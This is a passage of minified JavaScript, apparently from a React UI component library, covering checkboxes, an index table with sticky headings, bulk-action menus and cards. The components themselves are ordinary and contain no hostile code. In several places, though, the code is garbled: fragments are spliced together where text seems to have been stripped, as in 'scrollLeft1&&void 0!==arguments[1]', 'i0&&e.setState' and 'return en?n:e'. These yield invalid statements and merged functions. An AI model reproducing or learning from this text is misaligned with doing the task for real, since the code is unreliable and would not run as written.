n=e.ariaControls,a=e.ariaDescribedBy,o=e.label,i=e.labelHidden,l=e.checked,s=void 0!==l&&l,u=e.helpText,c=e.disabled,d=e.id,f=e.name,p=e.value,h=e.error,m=e.onChange,v=e.onFocus,g=e.onBlur,b=(0,r.useRef)(null),y=qe("Checkbox",d),w=rt(!1),x=w.value,E=w.setTrue,S=w.setFalse,k=ne((0,r.useState)(!1),2),_=k[0],C=k[1],P=(0,r.useContext)(Sd);(0,r.useImperativeHandle)(t,(function(){return{focus:function(){b.current&&b.current.focus()}}}));var N=[];h&&"boolean"!==typeof h&&N.push(Ml(y)),u&&N.push(Fd(y)),a&&N.push(a);var T=N.length?N.join(" "):void 0,A=Xe(kd,h&&Md),M=Xe(Pd,x&&Ad),L="indeterminate"===s,O=!L&&Boolean(s),F=L?{indeterminate:"true","aria-checked":"mixed"}:{"aria-checked":O},I=L?xd:Ed,j=Xe(_d,L&&Nd,_&&Cd);return r.createElement(Od,{id:y,label:o,labelHidden:i,helpText:u,error:h,disabled:c,onMouseOver:E,onMouseOut:S},r.createElement("span",{className:A},r.createElement("input",Object.assign({ref:b,id:y,name:f,value:p,type:"checkbox",checked:O,disabled:c,className:j,onBlur:function(){g&&g(),C(!1)},onChange:jd,onClick:function(){null==m||null==b.current||c||(m(b.current.checked,y),b.current.focus())},onFocus:v,onKeyUp:function(e){var t=e.keyCode;t!==Hn.Space&&t!==Hn.Tab||!_&&C(!0)},"aria-invalid":null!=h,"aria-controls":n,"aria-describedby":T,role:P?"presentation":"checkbox"},F)),r.createElement("span",{className:M,onClick:Rd,onKeyUp:Rd}),r.createElement("span",{className:Td},r.createElement(zt,{source:I}))))}));function jd(){}function Rd(e){e.stopPropagation()}var Bd=(0,r.memo)((function(){var e=jt(),t=sd(),n=t.resourceName,a=t.condensed,o=(0,r.useContext)(gd),i=o.itemId,l=o.selected,s=o.onInteraction,u=Xe(hd,a?vd:md),c=a?r.Fragment:Dd;return r.createElement(c,null,r.createElement("div",{className:pd},r.createElement("div",{className:u,onClick:s,onKeyUp:Hd},r.createElement(Id,{id:i,label:e.translate("Polaris.IndexTable.selectItem",{resourceName:n.singular}),labelHidden:!0,checked:l}))))}));function Dd(e){var t=e.children,n=(0,r.useRef)(null),a=(0,r.useCallback)((function(){if(n.current){var e=n.current.getBoundingClientRect().width;Xl("--p-checkbox-offset","".concat(e,"px"),null)}}),[]);(0,r.useEffect)((function(){a()}),[a]),(0,r.useEffect)((function(){if(n.current)return window.addEventListener("resize",a),function(){window.removeEventListener("resize",a)}}),[a]);var o=Xe(nd.TableCell,nd["TableCell-first"]);return r.createElement("td",{className:o,ref:n},t)}function Hd(){}var zd=(0,r.memo)((function(e){var t,n=e.children,a=e.selected,o=e.id,i=e.position,l=e.subdued,s=e.status,u=e.onNavigation,c=function(){var e=(0,r.useContext)(id);if(!e)throw new Error("Missing IndexProvider context");return e}(),d=c.selectable,f=c.selectMode,p=c.condensed,h=ld(),m=rt(!1),v=m.value,g=m.setTrue,b=m.setFalse,y=(0,r.useCallback)((function(e){if(e.stopPropagation(),(!("key"in e)||" "===e.key)&&h){var t=e.nativeEvent.shiftKey?ed.Multi:ed.Single;h(t,!a,o,i)}}),[o,h,i,a]),w=(0,r.useMemo)((function(){return{itemId:o,selected:a,onInteraction:y}}),[o,a,y]),x=(0,r.useRef)(null),E=(0,r.useRef)(!1),S=(0,r.useRef)(null),k=(0,r.useCallback)((function(e){S.current=e;var t=null===e||void 0===e?void 0:e.querySelector("[data-primary-link]");t&&(x.current=t)}),[]),_=Xe(nd.TableRow,d&&p&&nd.condensedRow,a&&nd["TableRow-selected"],l&&nd["TableRow-subdued"],v&&nd["TableRow-hovered"],s&&nd[Je("status",s)],!d&&!x.current&&nd["TableRow-unclickable"]);(d||x.current)&&(t=function(e){if(S.current&&!E.current)if(e.stopPropagation(),e.preventDefault(),x.current&&!f){E.current=!0;var t=e.nativeEvent,n=t.ctrlKey,r=t.metaKey;if(u&&u(o),(n||r)&&x.current instanceof HTMLAnchorElement)return E.current=!1,void window.open(x.current.href,"_blank");x.current.dispatchEvent(new MouseEvent(e.type,e.nativeEvent))}else E.current=!1,y(e)});var C=p?"li":"tr",P=d?r.createElement(Bd,null):null;return r.createElement(gd.Provider,{value:w},r.createElement(bd.Provider,{value:v},r.createElement(C,{key:o,className:_,onMouseEnter:g,onMouseLeave:b,onClick:t,ref:k},P,n)))}));function Ud(e,t){return e?Array.from(e.querySelectorAll(t)):[]}function Wd(e){var t=e.children,n=e.fallback,a=void 0===n?null:n,o=na()?t:a;return r.createElement(r.Fragment,null,o)}var Vd="Polaris-IndexTable-ScrollContainer";function qd(e){var t=e.children,n=e.scrollableContainerRef,a=e.onScroll;(0,r.useEffect)((function(){n.current&&n.current.dispatchEvent(new Event("scroll"))}),[n]);var o=ne((0,r.useState)(yd),2),i=o[0],l=o[1],s=(0,r.useCallback)(E()((function(){if(n.current){var e=n.current.scrollWidth-n.current.offsetWidth,t=n.current.scrollLeft>0,r=n.current.scrollLeft1&&void 0!==arguments[1]?arguments[1]:0,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,o=e.state.isSticky;(t&&!o||!t&&o)&&(e.adjustPlaceHolderNode(t),e.setState({isSticky:!o}));var i=t?{position:"fixed",top:n,left:r,width:a}:{};e.setState({style:i})},e.adjustPlaceHolderNode=function(t){e.placeHolderNode&&e.stickyNode&&(e.placeHolderNode.style.paddingBottom=t?"".concat(z(e.stickyNode).height,"px"):"0px")},e}return(0,f.Z)(n,[{key:"componentDidMount",value:function(){var e=this.props,t=e.boundingElement,n=e.offset,r=void 0!==n&&n,a=e.disableWhenStacked,o=void 0!==a&&a,i=e.stickyManager;this.stickyNode&&this.placeHolderNode&&i.registerStickyItem({stickyNode:this.stickyNode,placeHolderNode:this.placeHolderNode,handlePositioning:this.handlePositioning,offset:r,boundingElement:t,disableWhenStacked:o})}},{key:"componentWillUnmount",value:function(){var e=this.props.stickyManager;this.stickyNode&&e.unregisterStickyItem(this.stickyNode)}},{key:"render",value:function(){var e=this.state,t=e.style,n=e.isSticky,a=this.props.children,o="function"===typeof a?a(n):a;return r.createElement("div",null,r.createElement("div",{ref:this.setPlaceHolderNode}),r.createElement("div",{ref:this.setStickyNode,style:t},o))}}]),n}(r.Component);function Kd(e){var t=function(){var e=(0,r.useContext)(pe);if(!e)throw new Ve("No StickyManager was provided.");return e}();return r.createElement(Zd,Object.assign({},e,{stickyManager:t}))}var Gd={Group:"Polaris-BulkActions__Group","Group-measuring":"Polaris-BulkActions__Group--measuring","Group-entering":"Polaris-BulkActions__Group--entering","Group-exiting":"Polaris-BulkActions__Group--exiting","Group-entered":"Polaris-BulkActions__Group--entered","Group-exited":"Polaris-BulkActions__Group--exited","Group-smallScreen":"Polaris-BulkActions__Group--smallScreen","Group-largeScreen":"Polaris-BulkActions__Group--largeScreen",ButtonGroupWrapper:"Polaris-BulkActions__ButtonGroupWrapper",BulkActionButton:"Polaris-BulkActions__BulkActionButton",CheckableContainer:"Polaris-BulkActions__CheckableContainer",disabled:"Polaris-BulkActions--disabled",PaginatedSelectAll:"Polaris-BulkActions__PaginatedSelectAll",Slide:"Polaris-BulkActions__Slide","Slide-appear":"Polaris-BulkActions__Slide--appear","Slide-enter":"Polaris-BulkActions__Slide--enter","Slide-exit":"Polaris-BulkActions__Slide--exit","Slide-appearing":"Polaris-BulkActions__Slide--appearing","Slide-entering":"Polaris-BulkActions__Slide--entering"};function $d(e){var t=e.handleMeasurement,n=e.url,a=e.external,o=e.onAction,i=e.content,l=e.disclosure,s=e.accessibilityLabel,u=e.disabled,c=e.indicator,d=(0,r.useRef)(null);return function(e){var t=na(),n=(0,r.useRef)(!1);if(t&&!n.current)n.current=!0,e()}((function(){if(t&&d.current){var e=d.current.getBoundingClientRect().width;t(e)}})),r.createElement("div",{className:Gd.BulkActionButton,ref:d},r.createElement(Ma,{external:a,url:n,"aria-label":s,onClick:o,disabled:u,disclosure:l},i),c&&r.createElement(Io,null))}function Yd(e){var t=e.title,n=e.actions,a=e.isNewBadgeInBadgeActions,o=rt(!1),i=o.value,l=o.toggle;return r.createElement(r.Fragment,null,r.createElement(zr,{active:i,activator:r.createElement($d,{disclosure:!0,onAction:l,content:t,indicator:a}),onClose:l,preferInputActivator:!0},r.createElement(Pa,{items:n,onActionAnyItem:l})))}var Qd="Polaris-CheckableButton",Xd="Polaris-CheckableButton__CheckableButton--measuring",Jd="Polaris-CheckableButton__CheckableButton--plain",ef="Polaris-CheckableButton__CheckableButton--selectMode",tf="Polaris-CheckableButton__CheckableButton--selected",nf="Polaris-CheckableButton__Checkbox",rf="Polaris-CheckableButton__Label",af=(0,r.createContext)({});function of(e){var t=e.accessibilityLabel,n=e.label,a=void 0===n?"":n,o=e.onToggleAll,i=e.selected,l=e.selectMode,s=e.plain,u=e.measuring,c=e.disabled,d=e.smallScreen,f=(0,r.useRef)(null),p=(0,r.useContext)(af).registerCheckableButtons,h="bulkLg";s?h="plain":d&&(h="bulkSm"),(0,r.useEffect)((function(){f.current&&p&&p(h,f.current)}),[h,p]);var m=s?Xe(Qd,Jd):Xe(Qd,l&&ef,i&&tf,u&&Xd);return r.createElement("div",{className:m,onClick:o},r.createElement("div",{className:nf},r.createElement(Id,{label:t,labelHidden:!0,checked:i,disabled:c,onChange:o,ref:f})),r.createElement("span",{className:rf},a))}var lf={appear:Xe(Gd.Slide,Gd["Slide-appear"]),appearActive:Xe(Gd.Slide,Gd["Slide-appearing"]),enter:Xe(Gd.Slide,Gd["Slide-enter"]),enterActive:Xe(Gd.Slide,Gd["Slide-entering"]),exit:Xe(Gd.Slide,Gd["Slide-exit"])},sf=function(e){h(n,e);var t=w(n);function n(){var e;(0,d.Z)(this,n);for(var a=arguments.length,o=new Array(a),i=0;i0&&e.setState({containerWidth:a})}(n||r)&&e.setState({smallScreenPopoverVisible:!1,largeScreenPopoverVisible:!1})}),50,{trailing:!0}),e.setLargeScreenButtonsNode=function(t){e.largeScreenButtonsNode=t},e.setContainerNode=function(t){e.containerNode=t},e.setMoreActionsNode=function(t){e.moreActionsNode=t},e.setSelectMode=function(t){var n=e.props.onSelectModeToggle;n&&n(t)},e.toggleSmallScreenPopover=function(){e.props.onMoreActionPopoverToggle&&e.props.onMoreActionPopoverToggle(e.state.smallScreenPopoverVisible),e.setState((function(e){return{smallScreenPopoverVisible:!e.smallScreenPopoverVisible}}))},e.toggleLargeScreenPopover=function(){e.props.onMoreActionPopoverToggle&&e.props.onMoreActionPopoverToggle(e.state.largeScreenPopoverVisible),e.setState((function(e){return{largeScreenPopoverVisible:!e.largeScreenPopoverVisible}}))},e.handleMeasurement=function(t){e.state.measuring&&e.promotedActionsWidths.push(t)},e}return(0,f.Z)(n,[{key:"numberOfPromotedActionsToRender",value:function(){var e=this.props.promotedActions,t=this.state,n=t.containerWidth,r=t.measuring;if(!e)return 0;if(n>=this.bulkActionsWidth||r)return e.length;for(var a=!1,o=e.length-1,i=0;!a&&o>=0;){i+=this.promotedActionsWidths[o],n>=this.bulkActionsWidth-i+this.addedMoreActionsWidthForMeasuring?a=!0:o--}return function(e,t,n){return en?n:e}(o,0,e.length)}},{key:"hasActions",value:function(){var e=this.props,t=e.promotedActions,n=e.actions;return Boolean(t&&t.length>0||n&&n.length>0)}},{key:"actionSections",value:function(){var e=this.props.actions;if(e&&0!==e.length)return function(e){var t=e.filter((function(e){return e.items}));return e.length===t.length}(e)?e:function(e){var t=e.filter((function(e){return!e.items}));return e.length===t.length}(e)?[{items:e}]:void 0}},{key:"rolledInPromotedActions",value:function(){var e=this.props.promotedActions,t=this.numberOfPromotedActionsToRender();if(!e||0===e.length||t>=e.length)return[];var n=e.map((function(e){return uf(e)?{items:te(e.actions)}:{items:[e]}}));return n.slice(t)}},{key:"componentDidMount",value:function(){var e=this.props,t=e.actions;e.promotedActions&&!t&&this.moreActionsNode&&(this.addedMoreActionsWidthForMeasuring=this.moreActionsNode.getBoundingClientRect().width),this.bulkActionsWidth=this.largeScreenButtonsNode?this.largeScreenButtonsNode.getBoundingClientRect().width-this.addedMoreActionsWidthForMeasuring:0,this.containerNode&&this.setState({containerWidth:this.containerNode.getBoundingClientRect().width,measuring:!1})}},{key:"render",value:function(){var e=this,t=this.props,n=t.selectMode,a=t.accessibilityLabel,o=t.label,i=void 0===o?"":o,l=t.onToggleAll,s=t.selected,u=t.smallScreen,c=t.disabled,d=t.promotedActions,f=t.paginatedSelectAllText,p=void 0===f?null:f,h=t.paginatedSelectAllAction,m=t.i18n,v=this.actionSections();d&&d.length;var g=this.state,b=g.smallScreenPopoverVisible,y=g.largeScreenPopoverVisible,w=g.measuring,x=h?r.createElement(Ma,{onClick:h.onAction,plain:!0,disabled:c},h.content):null,E=p&&h?r.createElement("span",{"aria-live":"polite"},p):p,S=x||E?r.createElement("div",{className:Gd.PaginatedSelectAll},E," ",x):null,k=r.createElement(Ma,{onClick:this.setSelectMode.bind(this,!1),disabled:c},m.translate("Polaris.Common.cancel")),_=this.numberOfPromotedActionsToRender(),C=this.hasActions()?r.createElement("div",{className:Gd.Popover,ref:this.setMoreActionsNode},r.createElement(zr,{active:b,activator:r.createElement($d,{disclosure:!0,onAction:this.toggleSmallScreenPopover,content:m.translate("Polaris.ResourceList.BulkActions.actionsActivatorLabel"),disabled:c,indicator:this.isNewBadgeInBadgeActions()}),onClose:this.toggleSmallScreenPopover},r.createElement(Pa,{items:d,sections:v,onActionAnyItem:this.toggleSmallScreenPopover}))):null,P=d&&_>0?te(d).slice(0,_).map((function(t,n){return uf(t)?r.createElement(Yd,Object.assign({key:n},t,{isNewBadgeInBadgeActions:e.isNewBadgeInBadgeActions()})):r.createElement($d,Object.assign({key:n,disabled:c},t,{handleMeasurement:e.handleMeasurement}))})):null,N=this.rolledInPromotedActions(),T=!d||d&&0===_&&!w?m.translate("Polaris.ResourceList.BulkActions.actionsActivatorLabel"):m.translate("Polaris.ResourceList.BulkActions.moreActionsActivatorLabel"),A=[];v&&N.length>0?A=[].concat(te(N),te(v)):v?A=v:N.length>0&&(A=te(N));var M=v||N.length>0||w?r.createElement("div",{className:Gd.Popover,ref:this.setMoreActionsNode},r.createElement(zr,{active:y,activator:r.createElement($d,{disclosure:!0,onAction:this.toggleLargeScreenPopover,content:T,disabled:c,indicator:this.isNewBadgeInBadgeActions()}),onClose:this.toggleLargeScreenPopover},r.createElement(Pa,{sections:A,onActionAnyItem:this.toggleLargeScreenPopover}))):null,L={accessibilityLabel:a,label:i,selected:s,selectMode:n,onToggleAll:l,measuring:w,disabled:c},O=u?r.createElement(di,{timeout:0,in:n,key:"smallGroup",nodeRef:this.smallScreenGroupNode},(function(t){var a=Xe(Gd.Group,Gd["Group-smallScreen"],Gd["Group-".concat(t)]);return r.createElement("div",{className:a,ref:e.smallScreenGroupNode},r.createElement("div",{className:Gd.ButtonGroupWrapper},r.createElement(tl,{segmented:!0},r.createElement(mi,{nodeRef:e.checkableWrapperNode,in:n,timeout:200,classNames:lf,appear:!n},r.createElement("div",{className:Gd.CheckableContainer,ref:e.checkableWrapperNode},r.createElement(of,Object.assign({},L,{smallScreen:!0})))),C,k)),S)})):null,F=P||M?r.createElement(tl,{segmented:!0},r.createElement(of,L),P,M):r.createElement(of,L),I=u?null:r.createElement(di,{timeout:0,in:n,key:"largeGroup",nodeRef:this.largeScreenGroupNode},(function(t){var n=Xe(Gd.Group,Gd["Group-largeScreen"],!w&&Gd["Group-".concat(t)],w&&Gd["Group-measuring"]);return r.createElement("div",{className:n,ref:e.largeScreenGroupNode},r.createElement(Te,{event:"resize",handler:e.handleResize}),r.createElement("div",{className:Gd.ButtonGroupWrapper,ref:e.setLargeScreenButtonsNode},F),S)}));return r.createElement("div",{ref:this.setContainerNode},O,I)}},{key:"isNewBadgeInBadgeActions",value:function(){var e=this.actionSections();if(!e)return!1;var t,n=(0,Sn.Z)(e);try{for(n.s();!(t=n.n()).done;){var r,a=t.value,o=(0,Sn.Z)(a.items);try{for(o.s();!(r=o.n()).done;){var i;if("new"===(null===(i=r.value.badge)||void 0===i?void 0:i.status))return!0}}catch(l){o.e(l)}finally{o.f()}}}catch(l){n.e(l)}finally{n.f()}return!1}}]),n}(r.PureComponent);function uf(e){return"title"in e}function cf(e){var t=jt();return r.createElement(sf,Object.assign({},e,{i18n:t}))}var df=["children","selectable","itemCount","selectedItemsCount","resourceName","loading","hasMoreItems","condensed","onSelectionChange"],ff=1e3/60;function pf(e){var t=e.headings,n=e.bulkActions,a=void 0===n?[]:n,o=e.promotedBulkActions,i=void 0===o?[]:o,l=e.children,s=e.emptyState,u=e.sort,c=e.lastColumnSticky,d=void 0!==c&&c,f=sd(),p=f.loading,h=f.bulkSelectState,m=f.resourceName,v=f.bulkActionsAccessibilityLabel,g=f.selectable,b=f.selectMode,y=f.paginatedSelectAllText,w=f.itemCount,x=f.hasMoreItems,k=f.selectedItemsCount,_=f.condensed,C=ld(),P=jt(),N=rt(!1),T=N.value,A=N.toggle,M=(0,r.useRef)({top:0,left:0}),L=(0,r.useRef)([]),O=(0,r.useRef)(null),F=(0,r.useRef)(null),I=(0,r.useRef)(null),j=ne((0,r.useState)(!1),2),R=j[0],B=j[1],D=ne((0,r.useState)(!1),2),H=D[0],z=D[1],U=ne((0,r.useState)(null),2),W=U[0],V=U[1],q=(0,r.useRef)([]),Z=(0,r.useRef)([]),K=(0,r.useRef)(null),G=(0,r.useRef)(null),$=(0,r.useRef)(null),Y=(0,r.useRef)(null),Q=(0,r.useRef)(!1),X=(0,r.useRef)(!1),J=(0,r.useCallback)((function(e){null===e||R||B(!0)}),[R]),ee=(0,r.useCallback)((function(){z((function(e){return!e}))}),[]),te=(0,r.useCallback)((function(){C(k===rd?ed.Page:ed.All,!0)}),[C,k]),re=(0,r.useCallback)((function(){return g?_?L.current[0].offsetWidth:L.current[0].offsetWidth+L.current[1].offsetWidth:L.current[0].offsetWidth}),[_,g]),ae=(0,r.useMemo)((function(){return E()((function(){if(F.current&&O.current){var e=O.current.getBoundingClientRect();if(M.current={top:e.top,left:e.left},L.current=q.current.map((function(e){return{offsetWidth:e.offsetWidth||0,offsetLeft:e.offsetLeft||0}})),0!==q.current.length){if(g&&q.current.length>1&&(q.current[1].style.left="".concat(L.current[0].offsetWidth,"px")),g&&null!==G&&void 0!==G&&G.current){var t=getComputedStyle(q.current[0]),n=q.current[0].offsetWidth;G.current.style.minWidth="calc(".concat(n,"px - ").concat(t.paddingLeft," - ").concat(t.paddingRight," + 2px)")}Z.current.forEach((function(e,t){var n=0;if(0!==t||hf()&&g){if(g&&L.current.length>t){var r;n=(null===(r=L.current[t])||void 0===r?void 0:r.offsetWidth)||0}else if(!g&&L.current.length>=t){var a;n=(null===(a=L.current[t-1])||void 0===a?void 0:a.offsetWidth)||0}}else n=re();e.style.minWidth="".concat(n,"px")}))}}}),ff,{leading:!0,trailing:!0,maxWait:ff})}),[re,g]),oe=(0,r.useCallback)((function(){Y.current&&F.current&&R&&Y.current.style.setProperty("--p-scroll-bar-content-width","".concat(F.current.offsetWidth-4,"px"))}),[R]),ie=(0,r.useCallback)(E()(oe,300,{trailing:!0}),[oe]),le=ne((0,r.useState)(!0),2),se=le[0],ue=le[1],ce=(0,r.useCallback)((function(){if(d&&F.current&&O.current){var e=F.current.getBoundingClientRect(),t=O.current.getBoundingClientRect();ue(e.width>t.width)}}),[d]);(0,r.useEffect)((function(){ce()}),[ce]);var de=(0,r.useCallback)((function(){var e;null===(e=Y.current)||void 0===e||e.style.setProperty("--p-scroll-bar-content-width","0px"),ae(),ie(),ce()}),[ie,ae,ce]),fe=(0,r.useCallback)((function(e,t){O.current&&Y.current&&(Q.current||(X.current=!0,Y.current.scrollLeft=O.current.scrollLeft),Q.current=!1,$.current&&($.current.scrollLeft=O.current.scrollLeft),(e&&!T||!e&&T)&&A(),ue(t))}),[T,A]),pe=(0,r.useCallback)((function(){O.current&&Y.current&&(X.current||(Q.current=!0,O.current.scrollLeft=Y.current.scrollLeft),X.current=!1)}),[]);(0,r.useEffect)((function(){q.current=Ud(F.current,"[data-index-table-heading]"),Z.current=Ud(K.current,"[data-index-table-sticky-heading]"),ae()}),[t,ae,G,R]),(0,r.useEffect)((function(){oe(),V(_?I.current:F.current)}),[R,oe,_]),(0,r.useEffect)((function(){!_&&H&&z(!1)}),[_,H]);var he=Boolean(i&&i.length>0||a&&a.length>0),me=t.map((function(e,n){var a=0===n,o=n===t.length-1,i=Xe(nd.TableHeading,a&&nd["TableHeading-second"],o&&!e.hidden&&nd["TableHeading-last"],!g&&nd["TableHeading-unselectable"]),l=!1!==g&&a&&L.current&&L.current.length>0?{left:L.current[0].offsetWidth}:void 0,s=r.createElement("th",{className:i,key:e.title,"data-index-table-heading":!0,style:l},Be(e));if(0!==n||!g)return s;var u=Xe(nd.TableHeading,0===n&&nd["TableHeading-first"]);return[r.createElement("th",{className:u,key:"".concat(e,"-").concat(n),"data-index-table-heading":!0},Re()),s]})).reduce((function(e,t){return e.concat(t)}),[]),ve=Boolean(i.length>0||a.length>0),ge=L.current&&L.current.length>0?{minWidth:re()}:void 0,be=r.createElement("div",{className:nd.TableHeading,key:t[0].title,style:ge,"data-index-table-sticky-heading":!0},r.createElement(Vr,{spacing:"none",wrap:!1,alignment:"center"},g&&r.createElement("div",{className:nd.FirstStickyHeaderElement,ref:G},Re()),g&&r.createElement("div",{className:nd["StickyTableHeading-second-scrolling"]},Be(t[0])),!g&&r.createElement("div",{className:nd.FirstStickyHeaderElement,ref:G},Be(t[0])))),ye=t.map((function(e,t){var n=t+1,a=L.current&&L.current.length>n?{minWidth:L.current[n].offsetWidth}:void 0,o=Be(e),i=Xe(nd.TableHeading,0===t&&nd["StickyTableHeading-second"],0===t&&!g&&nd.unselectable);return r.createElement("div",{className:i,key:e.title,style:a,"data-index-table-sticky-heading":!0},o)})),we=k===rd?"".concat(w,"+"):k,xe=(0,r.useCallback)((function(){C(ed.Page,Boolean(!h||"indeterminate"===h))}),[h,C]),Ee=function(){if(!g||!he||!x)return;return{content:k===rd?P.translate("Polaris.IndexTable.undo"):P.translate("Polaris.IndexTable.selectAllItems",{itemsLength:w,resourceNamePlural:m.plural.toLocaleLowerCase()}),onAction:te}}(),Se={enter:nd["LoadingContainer-enter"],enterActive:nd["LoadingContainer-enter-active"],exit:nd["LoadingContainer-exit"],exitActive:nd["LoadingContainer-exit-active"]},ke=r.createElement(mi,{in:p,classNames:Se,timeout:S,appear:!0,unmountOnExit:!0},r.createElement("div",{className:nd.LoadingPanel},r.createElement("div",{className:nd.LoadingPanelRow},r.createElement(aa,{size:"small"}),r.createElement("span",{className:nd.LoadingPanelText},P.translate("Polaris.IndexTable.resourceLoadingAccessibilityLabel",{resourceNamePlural:m.plural.toLocaleLowerCase()}))))),_e=Xe(nd.StickyTable,_&&nd["StickyTable-condensed"]),Ce=ve&&k||H,Pe=r.createElement("div",{className:_e,role:"presentation"},r.createElement(Kd,{boundingElement:W},(function(e){var t=Xe(nd.StickyTableHeader,e&&nd["StickyTableHeader-isSticky"]),n=Xe(nd.BulkActionsWrapper,_&&nd["StickyTableHeader-condensed"],e&&nd["StickyTableHeader-isSticky"]),o=!_||k,l=o?i:[],s=o?a:[],c=Ce?r.createElement("div",{className:n,"data-condensed":_},ke,r.createElement(cf,{smallScreen:_,label:P.translate("Polaris.IndexTable.selected",{selectedItemsCount:we}),accessibilityLabel:v,selected:h,selectMode:b||H,onToggleAll:xe,promotedActions:l,actions:s,paginatedSelectAllText:y,paginatedSelectAllAction:Ee,onSelectModeToggle:_?He:void 0})):null,d=Xe(nd.StickyTableColumnHeader,T&&nd["StickyTableColumnHeader-isScrolling"]),f=r.createElement(Ma,{icon:td,onClick:ee},P.translate("Polaris.IndexTable.selectButtonText")),p=_?r.createElement("div",{className:Xe(nd.HeaderWrapper,!g&&nd.unselectable)},ke,u,g&&f):r.createElement("div",{className:t,ref:K},ke,r.createElement("div",{className:d},be),r.createElement("div",{className:nd.StickyTableHeadings,ref:$},ye));return c||p}))),Ne=Xe(nd.ScrollBarContainer,_&&nd.scrollBarContainerCondensed),Ae=Xe(F.current&&R&&nd.ScrollBarContent),Me=w>0?r.createElement(Wd,null,r.createElement("div",{className:Ne},r.createElement("div",{onScroll:pe,className:nd.ScrollBar,ref:Y},r.createElement("div",{className:Ae})))):null,Le=Xe(nd.Table,T&&nd["Table-scrolling"],b&&nd.disableTextSelection,b&&Ce&&nd.selectMode,!g&&nd["Table-unselectable"],d&&nd["Table-sticky-last"],d&&se&&nd["Table-sticky-scrolling"]),Oe=s||r.createElement(Jc,{title:P.translate("Polaris.IndexTable.emptySearchTitle",{resourceNamePlural:m.plural}),description:P.translate("Polaris.IndexTable.emptySearchDescription"),withIllustration:!0}),Fe=r.createElement(r.Fragment,null,r.createElement(Te,{event:"resize",handler:de}),r.createElement(Wd,null,Pe)),Ie=_?r.createElement(r.Fragment,null,Fe,r.createElement("ul",{"data-selectmode":Boolean(b||H),className:nd.CondensedList,ref:I},l)):r.createElement(r.Fragment,null,Fe,r.createElement(qd,{scrollableContainerRef:O,onScroll:fe},r.createElement("table",{ref:F,className:Le},r.createElement("thead",null,r.createElement("tr",{className:nd.HeadingRow},me)),r.createElement("tbody",{ref:J},l)))),je=w>0?Ie:r.createElement("div",{className:nd.EmptySearchResultWrapper},Oe);return r.createElement(r.Fragment,null,r.createElement("div",{className:nd.IndexTable},!Ce&&!_&&ke,je),Me);function Re(){return r.createElement("div",{className:nd.ColumnHeaderCheckboxWrapper},r.createElement(Id,{label:P.translate("Polaris.IndexTable.selectAllLabel",{resourceNamePlural:m.plural}),labelHidden:!0,onChange:De,checked:h}))}function Be(e){return e.new?r.createElement(Vr,{wrap:!1,alignment:"center"},r.createElement("span",null,e.title),r.createElement(En,{status:"new"},P.translate("Polaris.IndexTable.onboardingBadgeText"))):e.hidden?r.createElement(Dt,null,e.title):e.title}function De(e){C(ed.Page,e)}function He(e){C(ed.All,!1),z(e)}}var hf=function(){return"undefined"!==typeof window&&window.innerWidth<458};function mf(e){var t=e.children,n=e.selectable,a=void 0===n||n,o=e.itemCount,i=e.selectedItemsCount,l=void 0===i?0:i,s=e.resourceName,c=e.loading,d=e.hasMoreItems,f=e.condensed,p=e.onSelectionChange,h=u(e,df);return r.createElement(ud,{selectable:a,itemCount:o,selectedItemsCount:l,resourceName:s,loading:c,hasMoreItems:d,condensed:f,onSelectionChange:p},r.createElement(pf,h,t))}mf.Cell=fd,mf.Row=zd;var vf="Polaris-Card",gf="Polaris-Card--subdued",bf="Polaris-Card__Section--hideOnPrint",yf="Polaris-Card--hideOnPrint",wf="Polaris-Card__Header",xf="Polaris-Card__Section",Ef="Polaris-Card__Section--fullWidth",Sf="Polaris-Card__Section--flush",kf="Polaris-Card__Section--subdued",_f="Polaris-Card__SectionHeader",Cf="Polaris-Card__Subsection",Pf="Polaris-Card__Footer",Nf="Polaris-Card__LeftJustified";function Tf(e){var t=e.children,n=e.title,a=e.actions,o=a?r.createElement(tl,null,Qi(a,{plain:!0})):null,i=(0,r.isValidElement)(n)?n:r.createElement($r,null,n),l=o||t?r.createElement(Vr,{alignment:"baseline"},r.createElement(Vr.Item,{fill:!0},i),o,t):i;return r.createElement("div",{className:wf},l)}function Af(e){var t=e.children,n=e.title,a=e.subdued,o=e.flush,i=e.fullWidth,l=e.actions,s=e.hideOnPrint,u=Xe(xf,o&&Sf,a&&kf,i&&Ef,s&&bf),c=l?r.createElement(tl,null,Qi(l,{plain:!0})):null,d="string"===typeof n?r.createElement(au,null,n):n,f=d||c?r.createElement("div",{className:_f},c?r.createElement(Vr,{alignment:"baseline"},r.createElement(Vr.Item,{fill:!0},d),c):d):null;return r.createElement("div",{className:u},f,t)}var Mf=function(e){var t=e.children,n=e.hideOnPrint,a=e.title,o=e.subdued,i=e.sectioned,l=e.actions,s=e.primaryFooterAction,u=e.secondaryFooterActions,c=e.secondaryFooterActionsDisclosureText,d=e.footerActionAlignment,f=void 0===d?"right":d,p=jt(),h=rt(!1),m=h.value,v=h.toggle,g=Xe(vf,o&&gf,n&&yf),b=a||l?r.createElement(Tf,{actions:l,title:a}):null,y=i?r.createElement(Af,null,t):t,w=s?Xi(s,{primary:!0}):null,x=null;u&&u.length&&(x=1===u.length?Xi(u[0]):r.createElement(r.Fragment,null,r.createElement(zr,{active:m,activator:r.createElement(Ma,{disclosure:!0,onClick:v},c||p.translate("Polaris.Common.more")),onClose:v},r.createElement(Pa,{items:u}))));var E=w||x?r.createElement("div",{className:Xe(Pf,"left"===f&&Nf)},"right"===f?r.createElement(tl,null,x,w):r.createElement(tl,null,w,x)):null;return r.createElement(qa.Provider,{value:!0},r.createElement("div",{className:g},b,y,E))};Mf.Header=Tf,Mf.Section=Af,Mf.Subsection=function(e){var t=e.children;return r.createElement("div",{className:Cf},t)};var 